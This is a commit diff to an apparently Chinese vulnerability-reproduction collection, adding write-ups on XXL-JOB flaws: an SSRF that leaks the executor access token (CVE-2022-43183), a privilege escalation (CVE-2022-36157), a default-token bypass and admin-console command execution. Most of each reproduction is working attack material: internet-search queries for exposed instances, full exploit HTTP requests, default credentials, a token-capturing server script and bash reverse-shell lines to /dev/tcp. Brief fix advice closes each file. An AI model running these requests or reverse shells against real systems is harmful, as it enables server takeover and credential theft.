update CVE-2022-43183
@ -445,7 +445,10 @@
|
|||||||
* WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464
|
* WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464
|
||||||
* WSO2 proxy SSRF漏洞 WSO2-2019-0598
|
* WSO2 proxy SSRF漏洞 WSO2-2019-0598
|
||||||
* XXL-JOB executor 未授权访问漏洞
|
* XXL-JOB executor 未授权访问漏洞
|
||||||
* XXL-JOB 任务调度中心 后台任意命令执行漏洞
|
* XXL-JOB SSRF 漏洞泄露 Token 导致 RCE CVE-2022-43183
|
||||||
|
* XXL-JOB 后台任意命令执行漏洞
|
||||||
|
* XXL-JOB 垂直越权漏洞 CVE-2022-36157
|
||||||
|
* XXL-JOB 默认 accessToken 身份绕过漏洞
|
||||||
* YApi NoSQL注入导致远程命令执行漏洞
|
* YApi NoSQL注入导致远程命令执行漏洞
|
||||||
* YApi 接口管理平台 后台命令执行漏洞
|
* YApi 接口管理平台 后台命令执行漏洞
|
||||||
* 七牛云 logkit log_path 任意文件读取漏洞
|
* 七牛云 logkit log_path 任意文件读取漏洞
|
||||||
|
|||||||
144
Web应用漏洞/XXL-JOB SSRF 漏洞泄露 Token 导致 RCE CVE-2022-43183.md
Normal file
@ -0,0 +1,144 @@
|
|||||||
|
# XXL-JOB SSRF 漏洞泄露 Token 导致 RCE CVE-2022-43183
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。
|
||||||
|
|
||||||
|
XXL-JOB =< 2.3.1 版本的 `xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java` 中存在一个 SSRF 漏洞,该漏洞源自 `/logDetailCat`,它直接向 `executorAddress` 指定的地址发送查询日志请求,而不判断 `executorAddress` 参数是否为有效的执行者地址。查询请求携带 `XXL-JOB-ACCESS- TOKEN`,导致 `XXL-JOB-ACCESS-TOKEN` 泄露。攻击者可通过泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor,最终导致任意命令执行。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-43183
|
||||||
|
- https://github.com/xuxueli/xxl-job/issues/3002
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
XXL-JOB =< 2.3.1
|
||||||
|
```
|
||||||
|
|
||||||
|
## 网络测绘
|
||||||
|
|
||||||
|
```
|
||||||
|
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
本地搭建 XXL-JOB v2.3.1,源码 https://github.com/xuxueli/xxl-job/archive/refs/tags/2.3.1.zip
|
||||||
|
|
||||||
|
环境启动后,访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端(admin),访问 `http://your-ip:9999` 可以查看到客户端(executor)。
|
||||||
|
|
||||||
|
默认口令 `admin/123456` 登录后台:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
复现思路:
|
||||||
|
|
||||||
|
1. 创建一个普通用户,该用户没有 executor 权限;
|
||||||
|
2. 搭建一个恶意 HTTP 服务器,打印请求详细信息;
|
||||||
|
3. 使用普通用户调用 `/xxl-job-admin/joblog/logDetailCat` 接口,将 `executorAddress` 替换为恶意 HTTP 服务器地址;
|
||||||
|
4. 恶意 HTTP 服务器将通过 SSRF 漏洞获取泄露的 `XXL-JOB-ACCESS-TOKEN`;
|
||||||
|
5. 携带泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor,执行任意命令。
|
||||||
|
|
||||||
|
首先,创建一个普通用户 user:
|
||||||
|
|
||||||
|
```
|
||||||
|
user/GO_7YhvzrHF4
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
以普通用户 user 身份重新登录:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后,搭建一个恶意 HTTP 服务器,调用 `/xxl-job-admin/joblog/logDetailCat` 接口,将 `executorAddress` 替换为恶意 HTTP 服务器地址:
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
|
||||||
|
Host: your-ip:8080
|
||||||
|
Content-Length: 97
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
|
||||||
|
Origin: http://your-ip:8080
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||||
|
Referer: http://your-ip:8080/xxl-job-admin/joblog/logDetailCat
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Accept-Language: en-US,en;q=0.9
|
||||||
|
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2275736572222c2270617373776f7264223a223462643033633065653631306365383332626534616266313334363535643938222c22726f6c65223a302c227065726d697373696f6e223a22227d
|
||||||
|
Connection: keep-alive
|
||||||
|
|
||||||
|
executorAddress=http%3A%2F%2F<your-server-ip>%3A8888&logId=0&fromLineNum=0&triggerTime=1731464078000
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
恶意 HTTP 服务器成功获取泄露的 `XXL-JOB-ACCESS-TOKEN`:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
最后,参考 XXL-JOB 默认 accessToken 身份绕过漏洞中的方法,携带泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor,执行任意命令:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞 POC
|
||||||
|
|
||||||
|
server.py
|
||||||
|
|
||||||
|
```python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
# @Author : Threekiii
|
||||||
|
# @Time : 2024-11-13
|
||||||
|
# @Function: HTTP Server,打印请求详细信息,用于 SSRF 场景下从服务器获取数据
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from http.server import SimpleHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
|
# 自定义请求处理器
|
||||||
|
class MyRequestHandler(SimpleHTTPRequestHandler):
|
||||||
|
def do_GET(self):
|
||||||
|
self.log_request_details()
|
||||||
|
super().do_GET() # 处理 GET 请求
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
self.log_request_details()
|
||||||
|
|
||||||
|
# 读取并打印请求体内容
|
||||||
|
content_length = int(self.headers.get('Content-Length', 0))
|
||||||
|
post_body = self.rfile.read(content_length)
|
||||||
|
logging.info(f"Request Body: {post_body.decode('utf-8')}")
|
||||||
|
|
||||||
|
# 响应客户端
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header("Content-type", "text/plain")
|
||||||
|
self.end_headers()
|
||||||
|
|
||||||
|
def log_request_details(self):
|
||||||
|
# 打印请求的详细信息
|
||||||
|
logging.info(f"Request Method: {self.command}")
|
||||||
|
logging.info(f"Request Path: {self.path}")
|
||||||
|
logging.info(f"Headers: {self.headers}")
|
||||||
|
|
||||||
|
# 配置日志格式
|
||||||
|
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
|
||||||
|
|
||||||
|
# 启动 HTTP 服务器
|
||||||
|
def run(server_class=HTTPServer, handler_class=MyRequestHandler, port=8000):
|
||||||
|
server_address = ('', port)
|
||||||
|
httpd = server_class(server_address, handler_class)
|
||||||
|
logging.info(f'Starting server on port {port}...')
|
||||||
|
httpd.serve_forever()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
run(port=8888)
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
该漏洞在 v.2.4.0 版本修复。
|
||||||
@ -2,7 +2,9 @@
|
|||||||
|
|
||||||
## 漏洞描述
|
## 漏洞描述
|
||||||
|
|
||||||
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
|
XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。
|
||||||
|
|
||||||
|
由于 executor 默认没有配置认证,未授权的攻击者可以通过 RESTful API 执行任意命令。
|
||||||
|
|
||||||
参考链接:
|
参考链接:
|
||||||
|
|
||||||
@ -10,15 +12,39 @@ XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅
|
|||||||
- https://landgrey.me/blog/18/
|
- https://landgrey.me/blog/18/
|
||||||
- https://github.com/OneSourceCat/XxlJob-Hessian-RCE
|
- https://github.com/OneSourceCat/XxlJob-Hessian-RCE
|
||||||
|
|
||||||
|
## 披露时间
|
||||||
|
|
||||||
|
```
|
||||||
|
2020-10-27
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
XXL-JOB <= 2.2.0
|
||||||
|
```
|
||||||
|
|
||||||
|
## 网络测绘
|
||||||
|
|
||||||
|
```
|
||||||
|
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
|
||||||
|
```
|
||||||
|
|
||||||
## 环境搭建
|
## 环境搭建
|
||||||
|
|
||||||
Vulhub执行如下命令启动2.2.0版本的XXL-JOB:
|
Vulhub 执行如下命令启动 2.2.0 版本的 XXL-JOB:
|
||||||
|
|
||||||
```
|
```
|
||||||
docker-compose up -d
|
docker-compose up -d
|
||||||
```
|
```
|
||||||
|
|
||||||
环境启动后,访问`http://your-ip:8080`即可查看到管理端(admin),访问`http://your-ip:9999`可以查看到客户端(executor)。
|
环境启动后,访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端(admin),访问 `http://your-ip:9999` 可以查看到客户端(executor)。客户端(executor)默认返回如下报错信息:
|
||||||
|
|
||||||
|
```
|
||||||
|
{"code":500,"msg":"invalid request, HttpMethod not support."}
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## 漏洞复现
|
## 漏洞复现
|
||||||
|
|
||||||
@ -51,24 +77,22 @@ Content-Length: 365
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
`touch /tmp/awesome_poc`已成功执行:
|
`touch /tmp/awesome_poc` 已成功执行:
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
另外,低于2.2.0版本的XXL-JOB没有RESTful API,我们可以通过[Hessian反序列化](https://github.com/OneSourceCat/XxlJob-Hessian-RCE)来执行命令。
|
执行反弹 shell 命令:
|
||||||
|
|
||||||
### 反弹shell
|
|
||||||
|
|
||||||
发送数据包,执行反弹shell命令:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
"glueSource": "bash -i >& /dev/tcp/192.168.174.128/2333 0>&1 "
|
"glueSource": "bash -i >& /dev/tcp/your-ip/8888 0>&1 "
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
监听2333端口,接收反弹shell:
|
监听 8888 端口,接收反弹 shell:
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
低于 2.2.0 版本的 XXL-JOB 没有 RESTful API,我们可以通过 [Hessian反序列化](https://github.com/OneSourceCat/XxlJob-Hessian-RCE) 来执行命令。
|
||||||
|
|||||||
@ -1,46 +0,0 @@
|
|||||||
# XXL-JOB 任务调度中心 后台任意命令执行漏洞
|
|
||||||
|
|
||||||
## 漏洞描述
|
|
||||||
|
|
||||||
XXL-JOB 任务调度中心攻击者可以在后台可以通过写入 shell 命令任务调度获取服务器权限
|
|
||||||
|
|
||||||
## 漏洞影响
|
|
||||||
|
|
||||||
```
|
|
||||||
XXL-JOB
|
|
||||||
```
|
|
||||||
|
|
||||||
## 网络测绘
|
|
||||||
|
|
||||||
```
|
|
||||||
app="XXL-JOB" || title="任务调度中心"
|
|
||||||
```
|
|
||||||
|
|
||||||
## 漏洞复现
|
|
||||||
|
|
||||||
登录后台增加一个任务
|
|
||||||
|
|
||||||
- 默认口令 admin/123456
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
- 注意运行模式需要为 GLUE(shell)
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
点击 GLUE IDE 编辑脚本
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
执行探测出网,和任务调用是否可执行
|
|
||||||
|
|
||||||
反弹一个 shell
|
|
||||||
|
|
||||||
```plain
|
|
||||||
#!/bin/bash
|
|
||||||
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'
|
|
||||||
```
|
|
||||||
|
|
||||||

|
|
||||||
94
Web应用漏洞/XXL-JOB 后台任意命令执行漏洞.md
Normal file
@ -0,0 +1,94 @@
|
|||||||
|
# XXL-JOB 后台任意命令执行漏洞
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。
|
||||||
|
|
||||||
|
若 XXL-JOB 后台管理页面存在弱口令,攻击者可在 GLUE 模式任务代码中写入攻击代码并推送到执行器执行,从而获取服务器权限。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://github.com/xuxueli/xxl-job/issues/2979
|
||||||
|
- https://mp.weixin.qq.com/s/jzXIVrEl0vbjZxI4xlUm-g
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
XXL-JOB
|
||||||
|
```
|
||||||
|
|
||||||
|
## 网络测绘
|
||||||
|
|
||||||
|
```
|
||||||
|
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
docker-compose.yml
|
||||||
|
|
||||||
|
```
|
||||||
|
version: '2'
|
||||||
|
services:
|
||||||
|
admin:
|
||||||
|
image: vulhub/xxl-job:2.2.0-admin
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
executor:
|
||||||
|
image: vulhub/xxl-job:2.2.0-executor
|
||||||
|
depends_on:
|
||||||
|
- admin
|
||||||
|
ports:
|
||||||
|
- "9999:9999"
|
||||||
|
db:
|
||||||
|
image: mysql:5.7
|
||||||
|
environment:
|
||||||
|
- MYSQL_ROOT_PASSWORD=root
|
||||||
|
```
|
||||||
|
|
||||||
|
Vulhub 执行如下命令启动 2.2.0 版本的 XXL-JOB:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker-compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
环境启动后,访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端登录页面,访问 `http://your-ip:9999` 可以查看到客户端(executor)。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
弱口令 `admin/123456` 登录后台,新增一个 GLUE 模式任务:
|
||||||
|
|
||||||
|
```
|
||||||
|
运行模式 GLUE(Shell)
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
点击 GLUE IDE,编辑脚本:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
点击执行一次,探测是否出网:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
再次点击 GLUE IDE,编辑脚本反弹 shell:
|
||||||
|
|
||||||
|
```plain
|
||||||
|
#!/bin/bash
|
||||||
|
bash -i >& /dev/tcp/your-ip/8888 0>&1
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
1. 开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
|
||||||
|
2. 端口防护:及时更换默认的执行器端口,不建议直接将默认的 9999 端口开放到公网。
|
||||||
|
3. 端口访问限制:通过配置安全组限制只允许指定 IP 才能访问执行器 9999 端口。
|
||||||
60
Web应用漏洞/XXL-JOB 垂直越权漏洞 CVE-2022-36157.md
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
# XXL-JOB 垂直越权漏洞 CVE-2022-36157
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。
|
||||||
|
|
||||||
|
在 XXL-JOB v.2.3.1 版本及以前, 存在垂直越权漏洞,能够使用低权限帐户执行管理员功能。该漏洞在 v.2.4.0 版本修复。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://github.com/advisories/GHSA-7qq9-9g2w-56f9
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
XXL-JOB <= v2.3.1
|
||||||
|
```
|
||||||
|
|
||||||
|
## 网络测绘
|
||||||
|
|
||||||
|
```
|
||||||
|
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
本地搭建 XXL-JOB v2.3.1,源码 https://github.com/xuxueli/xxl-job/archive/refs/tags/2.3.1.zip
|
||||||
|
|
||||||
|
环境启动后,访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端(admin),访问 `http://your-ip:9999` 可以查看到客户端(executor)。
|
||||||
|
|
||||||
|
默认口令 `admin/123456` 登录后台:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
创建一个普通用户 user:
|
||||||
|
|
||||||
|
```
|
||||||
|
user/GO_7YhvzrHF4
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
以普通用户 user 身份重新登录:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
普通用户与管理员用户导航栏:
|
||||||
|
|
||||||
|
- 管理员用户 admin:运行报表、任务管理、调度日志、执行器管理、用户管理、使用教程
|
||||||
|
- 普通用户 user:运行报表、任务管理、调度日志、使用教程
|
||||||
|
|
||||||
|
以普通用户 user 身份直接访问 `http://your-ip:8080/xxl-job-admin/jobgroup`,即可获取执行器管理权限:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
该漏洞在 v.2.4.0 版本修复。
|
||||||
132
Web应用漏洞/XXL-JOB 默认 accessToken 身份绕过漏洞.md
Normal file
@ -0,0 +1,132 @@
|
|||||||
|
# XXL-JOB 默认 accessToken 身份绕过漏洞
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。
|
||||||
|
|
||||||
|
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中,如果没有修改默认值,攻击者可绕过认证调用 executor,执行任意命令,从而获取服务器权限。
|
||||||
|
|
||||||
|
## 披露时间
|
||||||
|
|
||||||
|
```
|
||||||
|
2023-11-01
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
v2.3.1 <= XXL-JOB <= v2.4.0
|
||||||
|
```
|
||||||
|
|
||||||
|
## 网络测绘
|
||||||
|
|
||||||
|
```
|
||||||
|
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
本地搭建 XXL-JOB v2.3.1,源码 https://github.com/xuxueli/xxl-job/archive/refs/tags/2.3.1.zip
|
||||||
|
|
||||||
|
环境启动后,访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端(admin),访问 `http://your-ip:9999` 可以查看到客户端(executor)。
|
||||||
|
|
||||||
|
默认口令 `admin/123456` 登录后台:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
从 XXL-JOB v2.3.1 版本开始,在 application.properties 为 accessToken 增加了默认值:
|
||||||
|
|
||||||
|
```
|
||||||
|
xxl.job.accessToken=default_token
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
在实际使用中,如果没有修改默认值,攻击者可绕过认证调用 executor,执行任意命令,从而获取服务器权限。
|
||||||
|
|
||||||
|
首先,我们不带 `XXL-JOB-ACCESS-TOKEN`,对 executor 未授权访问漏洞进行利用,探测目标是否出网。此处运行模式为 GLUE 模式 (Python),其他方式均可,主要取决于目标环境。
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /run HTTP/1.1
|
||||||
|
Host: your-ip:9999
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Type: application/json
|
||||||
|
Content-Length: 407
|
||||||
|
|
||||||
|
{
|
||||||
|
"jobId": 1,
|
||||||
|
"executorHandler": "demoJobHandler",
|
||||||
|
"executorParams": "demoJobHandler",
|
||||||
|
"executorBlockStrategy": "COVER_EARLY",
|
||||||
|
"executorTimeout": 0,
|
||||||
|
"logId": 1,
|
||||||
|
"logDateTime": 1586629003729,
|
||||||
|
"glueType": "GLUE_PYTHON",
|
||||||
|
"glueSource": "import os\nos.system('ping 0e6ee0e0f3.ipv6.1433.eu.org.')",
|
||||||
|
"glueUpdatetime": 1586699003758,
|
||||||
|
"broadcastIndex": 0,
|
||||||
|
"broadcastTotal": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
HTTP Status Code 500,报错:
|
||||||
|
|
||||||
|
```
|
||||||
|
{"code":500,"msg":"The access token is wrong."}
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后,我们带上 `XXL-JOB-ACCESS-TOKEN`,再次发送数据包:
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /run HTTP/1.1
|
||||||
|
Host: your-ip:9999
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Content-Type: application/json
|
||||||
|
XXL-JOB-ACCESS-TOKEN: default_token
|
||||||
|
Content-Length: 407
|
||||||
|
|
||||||
|
{
|
||||||
|
"jobId": 1,
|
||||||
|
"executorHandler": "demoJobHandler",
|
||||||
|
"executorParams": "demoJobHandler",
|
||||||
|
"executorBlockStrategy": "COVER_EARLY",
|
||||||
|
"executorTimeout": 0,
|
||||||
|
"logId": 1,
|
||||||
|
"logDateTime": 1586629003729,
|
||||||
|
"glueType": "GLUE_PYTHON",
|
||||||
|
"glueSource": "import os\nos.system('ping d02caeb35f.ipv6.1433.eu.org.')",
|
||||||
|
"glueUpdatetime": 1586699003758,
|
||||||
|
"broadcastIndex": 0,
|
||||||
|
"broadcastTotal": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
HTTP Status Code 200,成功:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
修改调度中心和执行器配置项 `xxl.job.accessToken` 的默认值,注意要设置相同的值。
|
||||||
|
|
||||||
|
参考 [官方文档](https://www.xuxueli.com/xxl-job/#5.10%20%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%EF%BC%88AccessToken%EF%BC%89) 中 5.10 章节关于访问令牌(AccessToken)的相关描述:
|
||||||
|
|
||||||
|
- 为提升系统安全性,调度中心和执行器进行安全性校验,双方 AccessToken 匹配才允许通讯;
|
||||||
|
- 调度中心和执行器,可通过配置项 “xxl.job.accessToken” 进行 AccessToken 的设置。
|
||||||
|
- 调度中心和执行器,如果需要正常通讯,只有两种设置;
|
||||||
|
- 设置一:调度中心和执行器,均不设置 AccessToken;关闭安全性校验;
|
||||||
|
- 设置二:调度中心和执行器,设置了相同的 AccessToken;
|
||||||
|
Before Width: | Height: | Size: 103 KiB |
|
Before Width: | Height: | Size: 6.4 KiB |
|
Before Width: | Height: | Size: 137 KiB |
|
Before Width: | Height: | Size: 26 KiB |
|
Before Width: | Height: | Size: 33 KiB |
|
Before Width: | Height: | Size: 166 KiB |
|
Before Width: | Height: | Size: 143 KiB |
|
Before Width: | Height: | Size: 269 KiB |
|
Before Width: | Height: | Size: 172 KiB |
|
After Width: | Height: | Size: 268 KiB |
|
After Width: | Height: | Size: 444 KiB |
|
After Width: | Height: | Size: 155 KiB |
|
After Width: | Height: | Size: 62 KiB |
|
After Width: | Height: | Size: 72 KiB |
|
After Width: | Height: | Size: 225 KiB |
|
After Width: | Height: | Size: 94 KiB |
|
After Width: | Height: | Size: 229 KiB |
BIN
Web应用漏洞/images/XXL-JOB 后台任意命令执行漏洞/image-20241112143143932.png
Normal file
|
After Width: | Height: | Size: 99 KiB |
BIN
Web应用漏洞/images/XXL-JOB 后台任意命令执行漏洞/image-20241112144257939.png
Normal file
|
After Width: | Height: | Size: 93 KiB |
BIN
Web应用漏洞/images/XXL-JOB 后台任意命令执行漏洞/image-20241112144436276.png
Normal file
|
After Width: | Height: | Size: 245 KiB |
BIN
Web应用漏洞/images/XXL-JOB 后台任意命令执行漏洞/image-20241112144511969.png
Normal file
|
After Width: | Height: | Size: 244 KiB |
BIN
Web应用漏洞/images/XXL-JOB 后台任意命令执行漏洞/image-20241112144713820.png
Normal file
|
After Width: | Height: | Size: 461 KiB |
BIN
Web应用漏洞/images/XXL-JOB 后台任意命令执行漏洞/image-20241112145109853.png
Normal file
|
After Width: | Height: | Size: 97 KiB |
|
After Width: | Height: | Size: 187 KiB |
|
After Width: | Height: | Size: 254 KiB |
|
After Width: | Height: | Size: 172 KiB |
|
After Width: | Height: | Size: 255 KiB |
|
After Width: | Height: | Size: 427 KiB |
|
After Width: | Height: | Size: 263 KiB |
|
After Width: | Height: | Size: 237 KiB |
|
After Width: | Height: | Size: 436 KiB |